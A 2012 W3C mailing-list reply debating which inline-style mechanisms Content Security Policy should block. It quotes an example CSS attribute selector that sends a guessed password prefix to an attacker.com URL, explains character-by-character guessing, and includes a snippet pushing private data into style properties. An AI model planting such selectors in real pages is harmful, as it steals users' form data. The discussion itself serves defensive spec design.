Re: CSP and inline styles

On Mon, Oct 22, 2012 at 10:40 PM, Adam Barth <w3c@adambarth.com> wrote:
> On Mon, Oct 22, 2012 at 4:50 PM, Jonas Sicking <jonas@sicking.cc> wrote:
>> On Mon, Oct 22, 2012 at 3:28 PM, Adam Barth <w3c@adambarth.com> wrote:
>>> On Mon, Oct 22, 2012 at 3:02 PM, Ian Melven <imelven@mozilla.com> wrote:
>>>> As part of our work to implement the CSP 1.0 spec in Gecko (https://bugzilla.mozilla.org/show_bug.cgi?id=663566),
>>>> we have been looking at what we need to do to block inline styles (https://bugzilla.mozilla.org/show_bug.cgi?id=763879)
>>>>
>>>> The reason for this post is that we need more discussion among the WG (and possible clearer guidance in the spec) as to what
>>>> threats blocking styles is intended to address and what threats are considered out of scope for this
>>>> restriction (eg if it's intended to stop data exfiltration).
>>>
>>> The main threat we're trying to protect against is attackers who can
>>> inject markup into a document using CSS3 attribute selectors to steal
>>> passwords (and other data) store in input element attributes.  Also,
>>> we're worried about future evolution of CSS increasing this risk.
>>
>> Do you have any pointers to how this would work?
>
> I couldn't find a good reference, so I'll try my best to explain.  The
> underlying problem is that CSS3 attribute selectors are too powerful.
> Consider the following document:
>
> <style>
> input[value^="sec"] { background-color: url(https://attacker.com/q?sec) }
> </style>
> <input value="secret">
>
> Using <style>, the attacker can determine that the input element
> contains a word that starts with the letters "sec".  Now, imagine
> doing this one letter at a time.  After around 26 guesses, the
> attacker can determine the first letter "s".  Then he or she works on
> the second character by checking "sa", "sb", "sc", etc.  In this way,
> the attacker can figure out the full value of the input element.
>
> Using other tricks, the attacker can actually do many of these queries
> in parallel, but hopefully the above approach gives you the idea.

I see. So in this context we are assuming that the attacked page

>> Why aren't we also worried about phone-home attacks where an attacker
>> can cause a network request to happen where the URL contains private
>> data from the page. I.e. the attack from:
>>
>> http://scarybeastsecurity.blogspot.com.es/2009/12/generic-cross-browser-cross-domain.html
>
> That's an entirely different sort of attack, and one that is no longer
> possible in modern browsers because we've fixed it.

How?

>> I agree that for things like background images we should simply rely
>> on the img-src feature to catch this. However CSS is growing features
>> which allow network requests to happen to non-image resources.
>> Specifically Gecko allows using the filter property to link to SVG
>> files and read filters out of those. And I believe there are at least
>> development versions of WebKit which allows linking to shader
>> programs.
>
> Generating network requests isn't the issue.  The issue is being able
> to use advanced selectors, like CSS3 attribute selectors.  We're never
> going to plug all the exfiltration vectors.  It's not even worth
> trying.

What are you using as basis for saying that "generating network
requests isn't the issue"? I agree that the selector thing is also a
problem, but that doesn't mean that the network request thing can't be
a problem too.

>> Simply relying on default-src doesn't seem great. Maybe treating those
>> as style-src would reduce the attack surface here.
>
> We're talking about entirely different classes of attacks.

If the different classes of attacks can result in the same thing, i.e.
that private data (such as passwords) can be stolen from a page by
using CSS to cause network requests to send data to an attacker, then
it seems appropriate to discuss both classes, no?

>>>> Additionally, we could really use clarification in the spec as to what methods of applying CSS should be blocked in a CSP 1.0 compliant UA
>>>> (and this would hopefully lead to more consistency across implementations).
>>>>
>>>> Previously on this mailing list, we discussed blocking mechanisms that apply CSS that
>>>> are equivalent to inserting and parsing a <style> node in the DOM.
>>>>
>>>> Specifically, we considered the following list of ways to apply CSS:
>>>> (from https://bugzilla.mozilla.org/show_bug.cgi?id=763879#c26)
>>>
>>> I've taken the liberty of re-arranging the order of your list.
>>>
>>>> * doc.body.appendChild(doc.createElement("style"));
>>>> * doc.body.setAttribute("style", "...");
>>>> * doc.body.innerHTML = "<style>...</style>";
>>>
>>> These are blocked.
>>
>> doc.body.style.cssText also belongs here, right?
>
> No.  Nothing in the CSSOM is blocked.  Only things in the DOM.

Why. It makes absolutely no sense to block
doc.body.setAttribute("style", X) if we don't also block
doc.body.style.cssText = X. The two are just different syntaxes for
exactly the same thing. Both set the "style" attribute of the element
to X.

Whether something lives in the CSSOM spec or the DOM spec is just an
editorial different. Users will be just as sad when their data is
stolen.

>>>> * doc.body.style.background = "...";
>>>> * bgcolor attributes appearing in the markup
>>>> * <font> elements appearing in the markup
>>>> * doc.body.appendChild(doc.createElement("font"));
>>>> * doc.body.bgcolor = "...";
>>>
>>> These are not blocked.
>>
>> I'd rather determine the criteria to use rather than declaring in/out
>> for these just yet.
>
> The criteria is defined in the specification:

The point of this thread is to investigate if the specification is
preventing enough attacks. I'm well aware what the spec currently says
(or at least tries to say).

>> However network requests is something that I would worry about.
>
> That's something to worry about, but that's not what style-src
> controls.  style-src controls where you're allowed to get style from.
> If the CSS engine is generating network requests, we can introduce
> other directives to control them, depending on what sorts of things
> they are.  For example, when the CSS engine requests images, those are
> governed by img-src.  When the CSS engine requests other style sheets
> (e.g., via @import), those are governed by style-src.  etc.
>
>>>> So while it might "feel" safer, it's arguably not.
>>>>
>>>> http://scarybeastsecurity.blogspot.com.es/2009/12/generic-cross-browser-cross-domain.html "
>>>
>>> It doesn't have anything to do with "feeling" safer.  It has to do
>>> with being beyond the capabilities of the attacker we're trying to
>>> stop.
>>>
>>>> There is more discussion in bug 763879 about what mechanisms in the above list are equivalent and what
>>>> the important distinction when evaluating these mechanisms is, and if basing it around if the
>>>> mechanism is equivalent to inserting a <style> node goes far enough - my personal opinion agrees with a
>>>> statement from Jonas : "The critical distinction isn't whether you have to call a JS function in
>>>> order to launch the attack. The distinction is whether that function parses strings into harmful content."
>>>
>>> I disagree with Jonas.  An attacker who can inject markup cannot call
>>> JavaScript functions (at least when CSP stops such an attacker from
>>> injecting script).  Therefore, attack vectors that require calling
>>> JavaScript functions are beyond the attacker's capabilities and
>>> therefore less worrisome.
>>
>> Yet you are saying that setAttribute("style", ...) and
>> createElement("style")... should be blocked. And I assume that we all
>> agree that eval() should be blocked when inline script is blocked.
>> Even though all of these require calling javascript functions.
>
> Correct.
>
>> The concern here isn't that the attacker injects a JS function call.
>> The concern here is a page doing something like:
>>
>> x = getData3rdPartyData();
>> y = getUserPrivateData();
>> body.style.background = x + y;
>
> I'm not actually concerned about those cases.  The only reason to
> block setAttribute("style", ...) is to draw a clean line between what
> is blocked and what is not blocked.  The line is that we're blocking
> style that originates from the style element and the style attribute,
> just like we're blocking JavaScript from the "onclick" attribute,
> whether or not the onclick attribute is set via
> setAttribute("onclick", ...).

The value of x + y ends up in the style attribute. Simplified, the
above code is just different syntax for

setAttribute("style", "background: " + x + y)

The two types of code can definitely generate the same types of attacks.

If the *only* thing that we are concerned about is the password
stealing attack, then there's no reason to block any form of style
attributes since they can't include rules which read attribute values.
Only inline style elements would need to be blocked.

>> Code like this would allow a 3rd party to ship user data home. It
>> relies on function calls, yet doesn't require the third party to
>> inject any function calls into the page.
>
> That's true, but unrelated to the attack we're trying to prevent.

I don't understand why you are limiting the scope to reading data from
the DOM? Reading data from javascript seems just as bad.

> On Mon, Oct 22, 2012 at 7:31 PM, Boris Zbarsky <bzbarsky@mit.edu> wrote:
>> On 10/22/12 6:28 PM, Adam Barth wrote:
>>>> * doc.body.setAttribute("style", "...");
>>>
>>> These are blocked.
>>>
>>>> * doc.body.style.background = "...";
>>>
>>> These are not blocked.
>>
>> Once again, these are functionally equivalent given cssText.
>
> Indeed, they do equivalent things, but they are different APIs.  One
> is the DOM and the other is CSSOM.

Please advice as to *why* that matters.

>> And it's
>> actually _more_ work, both in spec terms and in terms of implementation (at
>> least in Gecko) to block one but not the other.
>
> It isn't more work in spec terms.

That seems entirely unimportant.

>> So I'm still not sure why we're blocking one but not the other...
>
> The reason is that the spec has to draw a line somewhere.  The line
> drawn in the spec has the following two advantages:
>
> 1) It is consistent with how we treat inline event handlers for
> script-src (e.g., we block setAttribute("style", ...) the same way we
> block setAttribute("onclick", ...)).
>
> 2) The line doesn't distinguish between DOM operations performed by
> the HTML parser and DOM operations performed by the page.

We should draw a line based on what types of attacks can be launched,
and how likely it is that such attacks will be successful.

/ Jonas

Received on Tuesday, 23 October 2012 18:34:11 UTC